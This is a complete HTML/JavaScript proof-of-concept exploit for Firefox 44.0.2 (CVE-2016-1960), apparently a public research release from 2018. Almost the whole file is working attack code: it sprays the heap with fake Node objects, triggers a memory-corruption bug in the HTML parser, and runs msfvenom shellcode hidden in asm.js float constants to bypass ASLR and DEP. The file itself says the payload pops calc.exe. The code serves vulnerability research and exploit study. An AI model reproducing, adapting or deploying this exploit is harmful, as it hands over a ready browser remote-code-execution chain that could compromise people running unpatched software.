<!DOCTYPE HTML>
<!--
FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375)
*PoC* Exploit against Firefox 44.0.2 (CVE-2016-1960)
ASM.JS float constant pool JIT-Spray special shown at OffensiveCon 2018
Tested on:
Firefox 44.0.2 32-bit - Windows 10 1709
https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/Firefox%20Setup%2044.0.2.exe
Howto:
1) serve PoC over network and open it in Firefox 44.0.2 32-bit
2) A successfull exploit attempt should pop calc.exe
Mozilla Bug Report:
https://bugzilla.mozilla.org/show_bug.cgi?id=1246014
Writeup:
https://rh0dev.github.io/blog/2018/more-on-asm-dot-js-payloads-and-exploitation/
- For research purposes only -
(C) Rh0
Mar. 13, 2018
Notes:
*) very similar to CVE-2016-2819, but still different:
*) this PoC (CVE-2016-1960) does trigger in 44.0.2 but not in 46.0.1
because in 46.0.1 it is already fixed.
*) CVE-2016-2819 does trigger the same bug in 44.0.2 and 46.0.1 because it
was fixed in Firefox > 46.0.1
-->
<title>CVE-2016-1960 and ASM.JS JIT-Spray</title>
<head>
<meta charset=UTF-8 />
<script>
"use strict"
var Exploit = function(){
this.asmjs = new Asmjs()
this.heap = new Heap()
}
Exploit.prototype.go = function(){
/* target address of fake node object */
var node_target_addr = 0x20200000
/* target address of asm.js float pool payload*/
var target_eip = 0x3c3c1dc8
/* spray fake Node objects */
this.heap.spray(node_target_addr, target_eip)
/* spray asm.js float constant pools */
this.asmjs.spray_float_payload(0x1800)
/* go! */
this.trigger_vuln(node_target_addr)
};
Exploit.prototype.trigger_vuln = function(node_ptr){
document.body.innerHTML = '<table><svg><div id="AAAA">'
this.heap.gc()
var a = new Array()
for (var i=0; i < 0x11000; i++){
/* array element (Node object ptr) control with integer underflow */
a[i] = new Uint32Array(0x100/4)
for (var j=0; j<0x100/4; j++)
a[i][j] = node_ptr
}
/* original crashing testcase
document.getElementById('AAAA').innerHTML = '<title><template><td><tr><title><i></tr><style>td</style>';
*/
/* easier to exploit codepath */
document.getElementById('AAAA').innerHTML = '<title><template><td><tr><title><i></tr><style>td<DD>';
window.location.reload()
};
var Asmjs = function(){};
Asmjs.prototype.asm_js_module = function(stdlib, ffi){
"use asm"
var foo = ffi.foo
function payload(){
var val = 0.0
/* Fx 44.0.2 float constant pool of size 0xc0 is at 0xXXXX1dc8*/
val = +foo(
// $ msfvenom --payload windows/exec CMD=calc.exe # transformed with sc2asmjs.py
-1.587865768352248e-263,
-8.692422460804815e-255,
7.529882109376901e-114,
2.0120602207293977e-16,
3.7204662687249914e-242,
4.351158092040946e+89,
2.284741716118451e+270,
7.620699014501263e-153,
5.996021286047645e+44,
-5.981935902612295e-92,
6.23540918304361e+259,
1.9227873281657598e+256,
2.0672493951546363e+187,
-6.971032919585734e+91,
5.651413300798281e-134,
-1.9040061366251406e+305,
-1.2687640718807038e-241,
9.697849844423e-310,
-2.0571400761625145e+306,
-1.1777948610587587e-123,
2.708909852013898e+289,
3.591750823735296e+37,
-1.7960516725035723e+106,
6.326776523166028e+180
)
return +val;
}
return payload
};
Asmjs.prototype.spray_float_payload = function(regions){
this.modules = new Array(regions).fill(null).map(
region => this.asm_js_module(window, {foo: () => 0})
)
};
var Heap = function(target_addr, eip){
this.node_heap = []
};
Heap.prototype.spray = function(node_target_addr, target_eip){
var junk = 0x13371337
var current_address = 0x08000000
var block_size = 0x1000000
while(current_address < node_target_addr){
var fake_objects = new Uint32Array(block_size/4 - 0x100)
for (var offset = 0; offset < block_size; offset += 0x100000){
/* target Node object needed to control EIP */
fake_objects[offset/4 + 0x00/4] = 0x29
fake_objects[offset/4 + 0x0c/4] = 3
fake_objects[offset/4 + 0x14/4] = node_target_addr + 0x18
fake_objects[offset/4 + 0x18/4] = 1
fake_objects[offset/4 + 0x1c/4] = junk
fake_objects[offset/4 + 0x20/4] = node_target_addr + 0x24
fake_objects[offset/4 + 0x24/4] = node_target_addr + 0x28
fake_objects[offset/4 + 0x28/4] = node_target_addr + 0x2c
fake_objects[offset/4 + 0x2c/4] = target_eip
}
this.node_heap.push(fake_objects)
current_address += block_size
}
};
Heap.prototype.gc = function(){
for (var i=0; i<=10; i++)
var x = new ArrayBuffer(0x1000000)
};
</script>
<head>
<body onload='exploit = new Exploit(); exploit.go()' />